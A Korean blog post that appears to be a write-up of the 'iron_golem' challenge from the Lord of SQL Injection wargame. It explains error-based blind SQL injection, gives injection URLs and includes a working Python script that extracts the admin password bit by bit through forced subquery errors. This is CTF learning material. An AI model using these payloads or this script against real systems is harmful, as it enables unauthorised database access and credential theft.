LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 dragon에 이어 iron_golem 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

iron_golem문제를 들어가기 전에, 몬스터의 이미지를 보면... 겁나 간지나는 골렘의 모습입니다.

아니나 다를까 이번에도 난이도 높은 Blind SQL Injection입니다.


이번에는 또 어떤 필터링이 기다리고 있을까. 하악.

 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit(mysql_error());
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>


위의 문제에서는 먼저 일반적인 Blind SQL Injection과는 다른 점이 있습니다.

적절한 테스트 쿼리를 넣어봤지만 결과 값이 전혀 나오지 않았습니다.


이는 예전에 있었던 출력문이 없기 때문입니다.

따라서 아무런 결과도 도출할 수 없습니다. admin인지 guest인지 알 수 없는 것이지요.

그러나, 이번에는 만약 에러가 발생하면 에러 문구가 출력되도록 했습니다.


정상적인 값을 입력하여 정상 결과를 출력 후, 맞는지 안 맞는지 판단하는 이전의 기법과는 별개로, 원하는 결과가 나오지 않을 시 에러를 발생시켜야 하는 문제입니다.


이를 Error Based SQL Injection이라고 합니다.

단, 여기서는 Error Based Blind SQL Injection인 게 조금 다른 것이지요.




 

 Error Based Blind SQL Injection


MySQL 에서 에러를 발생시킬 수 있는 방법은 다양합니다. 하지만 참일 때와 거짓일 때 구분하여 에러를 발생시키는 방법은 제한되어 있습니다. 일단은 에러를 이용하여 Blind SQL Injection을 하는 방법을 알아보겠습니다.


 

 if() 함수로 참일 때, 거짓일 때 구분


MySQL에서 if() 함수를 사용하면 참일때와 거짓일 때 에러를 구분하여 발생시킬 수 있게 만들 수 있습니다. if 함수는 다음과 같은 방법으로 사용할 수 있습니다.


if( 조건문 , 참이면 여기를 실행 , 거짓일 때 여기를 실행)

if( 1=2, 'True', 'False'); -- false

if( 1=1, 'True', 'False'); -- true


 

 에러 발생


에러를 발생시킬 방법은 다음과 같습니다.

만약 select 1 union select 2를 하게 되면 정상적으로 값이 출력될 것입니다.

select 1 union select 2;


하지만 다음과 같이 사용했다면 에러가 발생할 것입니다.

select if(1=1, (select 1 union select 2), 2);


여기서 나타난 에러는 ERROR 1242 (21000) : Subquery returns more than 1 row 라고 나타납니다.


이는 한 개의 row에 두 개 이상의 값이 한 번에 들어와지기 때문입니다.

비유하자면, 한 개의 박스 안에 두 개의 row가 들어갈 수 없기 때문에 하나의 값만 리턴하라! 라는 뜻입니다.


select 1 union select 2를 하게되면 다음과 같은 값이 select 됩니다.

1

1

2


만약 select if(1=1, (select 1 union select 2), 2);를 하게 되면 다음과 같이 값이 반환됩니다.

if(1=1, (select 1 union select 2), 2)

1

2


사실 위와 같이 반환되는 것이 말이 안 됩니다. 하나의 row에 두 개의 row 값이 들어갈 수는 없기 때문입니다.

따라서 위와 같은 에러를 발생시킬 수 있게 됩니다.


 

 

 문제 풀이(쿼리)

 

 

먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.

 

 

 

 비밀번호 길이 알아내기


MySQL 함수인 if 함수와 length 함수를 이용하여 비밀번호의 길이를 알아내보도록 합시다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20id=%27admin%27%20and%20if(length(pw)=1,1,(select%201%20union%20select%202))%23

 

위의 쿼리는 pw 길이가 1이면 1을 반환하게하여 참이 되게 하고, 아니면 (select 1 union select 2)를 반환하게 하여 에러를 발생시키도록 하였습니다.

이는 pw=' or id='admin' and if(length(pw)=1,1,(select 1 union select 2))%23 으로 작성하였습니다.

 

그러나 위의 쿼리의 경우 참이 아니기 때문에 에러가 발생하게 됩니다. 만약 에러가 발생하지 않는다면, 비밀번호 길이를 알 수 있습니다.

 

이제 비밀번호를 알아내야 합니다.

 

 

 

 비밀번호 값 알아내기

각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.

 

 

  https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20id=%27admin%27%20and%20if(substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=1,1,(select%201%20union%20select%202))%23

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

' or id='admin' and if(substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=1,1,(select 1 union select 2))%23

여기서는 substr 함수를 그대로 사용하였습니다. 또한 비트 수는 16으로 맞춰줬습니다. 혹시 8비트가 아닐 수 있으니ㅎㅎ..


만약 pw 값의 1번째 글자에서 1번째 비트가 1이면 참, 아니면 에러가 발생하는 코드입니다. 즉, 에러가 발생하면 0입니다.

 

이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.

 

 

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw='
headers = {'Cookie': 'PHPSESSID=u8lg54n9mc59utvrhpi6krvvq6'}

# get length of column  ==========================

passwordLen = 0

for i in range(1, 100):
	payload = "' or id='admin' and if(length(pw)={},1,(select 1 union select 2))%23".format(i)
	res     = sess.get(url=URL+payload, headers=headers, verify=False)

	if 'Subquery' in res.text:
		pass
	else:
		passwordLen = i
		break

print('[=] Find Password Length : %d' % passwordLen)


bitLen   = 16
Password = ''

for j in range(1, passwordLen+1):

	bit = ''

	for i in range(1, bitLen+1):
		payload = "' or id='admin' and if(substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1,1,(select 1 union select 2))%23".format(j, bitLen, i)
		res     = sess.get(url=URL+payload, headers=headers, verify=False)

		if 'Subquery' in res.text:
			# Error Occured!! It is not 1 
			bit += '0'
		else:
			# false!!
			bit += '1'

	Password += chr(int(bit, 2))
	print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j, chr(int(bit, 2)), bit, hex(int(bit, 2))[2:]))


print('[=] Find Password : %s' % Password)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

+ Recent posts